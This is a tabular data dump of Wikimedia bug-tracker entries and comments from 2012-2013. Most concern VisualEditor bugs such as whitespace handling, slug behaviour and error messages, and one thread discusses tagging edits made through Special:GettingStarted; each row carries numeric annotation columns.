+206733,VisualEditor: Whitespace preservation for list items not working,*** Bug 48367 has been marked as a duplicate of this bug. ***,,,1368379914,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jrdnntjfzxsr3v7pxbff,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+206726,VisualEditor: Whitespace preservation for list items not working,Merged.,,,1366206699,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jrdnntjfzxsr3v7pxbff,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+206721,VisualEditor: Whitespace preservation for list items not working,"(In reply to comment #3)
+> Related URL: https://gerrit.wikimedia.org/r/59570 (Gerrit Change
+> Ic4c93510518163894201a693ab50331413715967)
+
+This commit fixes the bug. CC Gabriel and Subbu because they'd probably like to test it.",,,1366161752,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-jrdnntjfzxsr3v7pxbff,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+206715,VisualEditor: Whitespace preservation for list items not working,Related URL: https://gerrit.wikimedia.org/r/59570 (Gerrit Change Ic4c93510518163894201a693ab50331413715967),,,1366161678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jrdnntjfzxsr3v7pxbff,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+206708,VisualEditor: Whitespace preservation for list items not working,"It looks like this is happening because getDomFromData() somehow messes up the whitespace information. Then when getDomFromData() runs a second time (because you go back, change things, then diff again, or if you save after diffing), it sees inconsistent whitespace information and refuses to serialize it.",,,1366160823,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-jrdnntjfzxsr3v7pxbff,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+206702,VisualEditor: Whitespace preservation for list items not working,"Confirm not happening in live - but /does/ happen with heads of VisualEditor and Parsoid (and MediaWiki) in testing. As Roan says, doesn't appear in diff, does appear in the final change.",,,1362784369,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jrdnntjfzxsr3v7pxbff,task_subcomment,,True,c1,1,True,,,-17,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+45216,VisualEditor: JS TypeError when Parsoid returns an error,"Steps to reproduce issue:
+* Load VisualEditor on a page where the server will return in error
+  (to simulate, call mw.loader.load('ext.visualEditor.viewPageTarget') from the console on a page where VE is not enabled, e.g. the Manual namespace on mw.org)
+* Click Cancel on the server error alert()
+* Witness said error on your console.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1355786940,1364318463.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-i3m3gsgv7zrvvcskhdat,task_description,resolved,True,c1,1,True,False,True,-28,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+188488,VisualEditor: JS TypeError when Parsoid returns an error,"Now fixed - you get the message: ""Error loading data from server: novenamespace: VisualEditor is not enabled in namespace 100. Would you like to retry?""
+
+Arguably the option to retry should be skipped, but marking this as now fixed.
+
+J.",,,1364318463,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i3m3gsgv7zrvvcskhdat,task_subcomment,,True,c1,1,True,,,-14,,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0
+188479,VisualEditor: JS TypeError when Parsoid returns an error,"**Coiby.Xu** wrote:
+
+I meet this problem, too",,,1358937264,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-i3m3gsgv7zrvvcskhdat,task_subcomment,,True,c1,1,False,,,-23,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+45191,Tag edits made through Special:GettingStarted,"**Author:** `swalling`
+
+**Description:**
+On English Wikipedia, we should add a tag (https://www.mediawiki.org/wiki/Manual:Tags) to edits made to articles chosen from Special:GettingStarted by new editors. 
+
+We are logging actions anonymously with EventLogging, but providing a public tag of edits made through this interface has additional advantages:
+
+* It will allow product managers and analysts the ability to see a real time stream of the edits
+* It will help community members inspect the overall stream of edits, and assess them for quality
+* It will explain to anyone who is watching a page how new editors found the article, and why they are editing it
+* It will allow us to find and contact the new editors who use Special:GettingStarted (right now vandals are being warned, but good editors are being ignored for the most part)
+
+If we're adding a tag, we should assume that most community members won't know what Special:GettingStarted is. With that in mind, I propose the following for the tag text: [[Special:Tags|Tag]]: new editor [[Wikipedia:GettingStarted|getting started]]
+
+This is also appropriately agnostic to the task type (copyediting, wikifying, etc.), which is likely to change as the project evolves. You can see other tags in use on English Wikipedia at Special:Tags.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1355729280,1358418277.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-sqgxilqkeecvprvfh7ro,task_description,resolved,True,c1,1,False,False,True,-28,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1
+187227,Tag edits made through Special:GettingStarted,https://gerrit.wikimedia.org/r/#/c/42198/ is mostly done.,,,1357771169,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+187221,Tag edits made through Special:GettingStarted,The specs for the server-side logging API that Dario hashed out with S and me earlier this morning would totally cover this. I think we can do it. I'll shoot for getting this done in time for the deployment window next Thursday (Jan 10th).,,,1357164189,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,True,,,-26,,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,0
+187215,Tag edits made through Special:GettingStarted,"They're using a totally different VisualEditor-specific API back/middleend, calling the API, then calling ChangeTags::AddTags after the save is done:
+
+https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/extensions/VisualEditor.git;a=blob;f=ApiVisualEditor.php;h=b0fe2048a450cf9ee2e158931a10bf98d8ab5723;hb=refs/heads/master#l220
+
+That approach is not workable for us.  
+
+They also use a hook to list it as an available tag, which we could do:
+
+https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/extensions/VisualEditor.git;a=blob;f=VisualEditor.hooks.php;h=d4660cb0eda0fe54e2ea00905c29182a9d2f4828;hb=refs/heads/master#l53",,,1355796068,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,True,,,-28,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+187209,Tag edits made through Special:GettingStarted,"(In reply to comment #3)
+> Adding Maxsem as well, since he did this for MobileFrontEnd.
+
+No, what I did was a quick AbuseFilter hack. Look in VE for real solution:)",,,1355793937,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,False,,,-28,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+187205,Tag edits made through Special:GettingStarted,"**tchay** wrote:
+
+Only newly registered users that have been onboarded, but your point is taken.
+
+We could log a different event since logging stores log_page and join against that.",,,1355791694,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,False,,,-28,,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+187200,Tag edits made through Special:GettingStarted,"**swalling** wrote:
+
+I'm not sure a time window and tagging of all edits by newly-registered users within the window works. Lots of users edit shortly after account creation, but are not editing one of the articles selected from the list on Special:GettingStarted. We only want edits to those pages, by people who came from the Special page.",,,1355791571,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,False,,,-28,,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+187195,Tag edits made through Special:GettingStarted,"**tchay** wrote:
+
+Oops! Adding Andrew Garret.
+
+The code is in ChangTags.php
+
+Possibility?
+
+1. Use the tags interface to create a tag on the getting started event during account creation: say ""onboarded""
+
+2. During an edit save, you check the tags database for the tag for that user
+
+SELECT count(*) from change_tag as ct AND logging as log WHERE ct.ct_log_id=log.log_id AND log.log_type=1 AND ct.tag=""onboarded"" AND log.log_user=$user_id AND (some time window filter?)
+
+3. If this returns anything then you add a (different) tag to the edit tags that allows this to be tracked.",,,1355790756,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,False,,,-28,,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+187190,Tag edits made through Special:GettingStarted,"**tchay** wrote:
+
+Possibility?
+
+You use the tags interface to",,,1355790322,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,False,,,-28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+187182,Tag edits made through Special:GettingStarted,"**swalling** wrote:
+
+Adding Maxsem as well, since he did this for MobileFrontEnd.",,,1355789222,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,False,,,-28,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+187177,Tag edits made through Special:GettingStarted,"**swalling** wrote:
+
+Adding Kaldari, since he has experience adding tags for WikiLove.",,,1355783504,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,False,,,-28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+187172,Tag edits made through Special:GettingStarted,"Does anyone know how to pass this along the chain (view->edit->save)?  Ideally, we could use a query string parameter.  There are no useful docs at https://www.mediawiki.org/wiki/Manual:Tags , so we'll have to dig into the code.",,,1355781256,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,True,,,-28,,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+45174,"Inline aliens behaving incorrectly in some cases, seems to depend on selection","Inline image (used as icon) is incorrectly alienated, sometimes (?).
+
+Test case:
+
+Open https://en.wikipedia.org/wiki/User:Raymond/inline_image in VisualEditor mode:
+
+1. Thumbed image and inline image are alienated
+2. Dismiss the notice bubble
+3. Thumbed image is alienated, but inline image is NOT. It is clickable.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://en.wikipedia.org/wiki/User:Raymond/inline_image",High,80.0,1355677860,1360365599.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-xtwsiyvycjjuwkmu2mcm,task_description,resolved,True,c1,1,False,False,True,-29,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1
+186290,"Inline aliens behaving incorrectly in some cases, seems to depend on selection","(In reply to comment #2)
+> I'm not able to reproduce it. Please confirm if this still occurs to you -
+> and
+> if o - please provide information about your platform as well. Thanks.
+
+As reporter of this bug I cannot reproduce it now.",,,1360359290,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-xtwsiyvycjjuwkmu2mcm,task_subcomment,,True,c1,1,False,,,-21,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1
+186283,"Inline aliens behaving incorrectly in some cases, seems to depend on selection",I'm not able to reproduce it. Please confirm if this still occurs to you - and if o - please provide information about your platform as well. Thanks.,,,1360356597,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-xtwsiyvycjjuwkmu2mcm,task_subcomment,,True,c1,1,False,,,-21,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+186276,"Inline aliens behaving incorrectly in some cases, seems to depend on selection","4. Click in the paragraph containing the inline image. It's now behaving correctly again.
+
+
+I've seen this bug with references as well: inline aliens have incorrect hover behavior in some cases, seems to be related to where the selection is.",,,1355693611,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-xtwsiyvycjjuwkmu2mcm,task_subcomment,,True,c1,1,False,,,-29,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1
+45146,VisualEditor: A slug's new contents appear not to get inserted into the DM in at least once case,"* Click into VE on https://en.wikipedia.org/wiki/User:Thehelpfulone/test
+* Click cursor into one of the many LI slugs of the multiply-indented list.
+* Type some contents into the slug
+* Press ""left""; suddenly, the cursor is back at 0,0
+* Click into the ultimate LI with ""real"" content (not the one just created) and outdent repeatedly; you will over-write the new LI as if it wasn't there (indeed, it never reaches the DM).
+
+This may be similar to other slug bugs, given the core issue. :-)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1355530440,1371171784.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-czuwyblk43urnavypsbt,task_description,resolved,True,c1,1,True,False,True,-29,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+184648,VisualEditor: A slug's new contents appear not to get inserted into the DM in at least once case,"(In reply to comment #1)
+> @James: Are you still able to reproduce it?
+
+No; partially invalid because we no longer show lots of distinct slugged LIs for lists. :-)
+
+> Also, I wonder if it is correct behavior that if you have completely empty by
+> multiply-indented list and you press backspace in the deepest li - it delete
+> entire list. Check out this video:
+> https://dl.dropboxusercontent.com/u/1026938/multiplyindented.mov
+
+This feels a bit wrong, yeah; maybe just decrease by one?",,,1371171784,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-czuwyblk43urnavypsbt,task_subcomment,,True,c1,2,True,,,-3,,0,0,1,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1
+184644,VisualEditor: A slug's new contents appear not to get inserted into the DM in at least once case,"@James: Are you still able to reproduce it?
+
+Also, I wonder if it is correct behavior that if you have completely empty by multiply-indented list and you press backspace in the deepest li - it delete entire list. Check out this video: https://dl.dropboxusercontent.com/u/1026938/multiplyindented.mov",,,1371002735,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-czuwyblk43urnavypsbt,task_subcomment,,True,c1,2,False,,,-3,,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,1,1
+45103,VisualEditor: Slug oddness - Prepending text to article starting with {{Infobox ..}} removes the entire article,"Screenshot showing the diff and the editor
+
+Steps to reproduce problem:
+* Open VisualEditor on https://en.wikipedia.org/wiki/Buri_Ram_Airport
+* The cursor will be on top of the article in a paragraph-placeholder with bold styling (because the first word of the article is bolded)
+* Type ""a""
+
+Expected result:
+The character is inserted. Showing the diff now shows the addition of ""'''a'''"" (either above or below the {{infobox}}, doesn't really matter). Preferably below so that it is next to the paragraph it was added before.
+
+Actual result:
+The character is inserted. Visually nothing else changed (the infobox and the rest of the article are stil there). However, clicking ""Review and save"" now will show a diff where the infobox and the entire article have been removed and ""'''a'''"" was added in its place.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F9591}",High,80.0,1355443440,1371063971.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-2hzsnhrqn3e44r3w5wpx,task_description,resolved,True,c1,1,True,False,True,-29,,0,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+182195,VisualEditor: Slug oddness - Prepending text to article starting with {{Infobox ..}} removes the entire article,This seems to be fixed already (try to reproduce on English Wikipedia).,,,1371063948,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-2hzsnhrqn3e44r3w5wpx,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+182189,VisualEditor: Slug oddness - Prepending text to article starting with {{Infobox ..}} removes the entire article,I think I know what's the reason of this problem. I will work on it next week.,,,1364152745,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-2hzsnhrqn3e44r3w5wpx,task_subcomment,,True,c1,1,False,,,-15,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+182182,VisualEditor: Slug oddness - Prepending text to article starting with {{Infobox ..}} removes the entire article,*** Bug 46506 has been marked as a duplicate of this bug. ***,,,1364127463,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-2hzsnhrqn3e44r3w5wpx,task_subcomment,,True,c1,1,False,,,-15,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+182178,VisualEditor: Slug oddness - Prepending text to article starting with {{Infobox ..}} removes the entire article,"This is fundamentally an ""editing what appears to be a blank space but is actually a slug means this behave in a way I did not anticipate"" - assigning to CE, but we really need to talk about this and what we should do longer-term.",,,1357598884,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2hzsnhrqn3e44r3w5wpx,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+45102,VisualEditor: Slug oddness - new text in list item before alien node is ignored,"Screenshot
+
+Steps to reproduce problem:
+* Open VisualEditor on https://en.wikipedia.org/wiki/Buri_Ram_Airport
+* Put cursor in the placeholder slug in the second list item of the External links. There is an alien node here as the external link is generated with a template.
+* Type ""a""
+* Press ""Review and save""
+
+Expected result:
+A diff adding the letter ""a"".
+
+Actual result:
+Empty diff (see attachment)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F9589}",High,80.0,1355442900,1371067225.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-xsynpfa72ixj4q44cgdk,task_description,resolved,True,c1,1,True,False,True,-29,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+182140,VisualEditor: Slug oddness - new text in list item before alien node is ignored,This seems to be fixed already (try to reproduce on English Wikipedia).,,,1371067225,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-xsynpfa72ixj4q44cgdk,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+45087,"VisualEditor: ""localStorage is null"" error message","Firefox 17.0.1 and Ubuntu 12.10; using the VE causes a failure with a ""localStorage is null"" error.
+
+--------------------------
+**Version**: unspecified
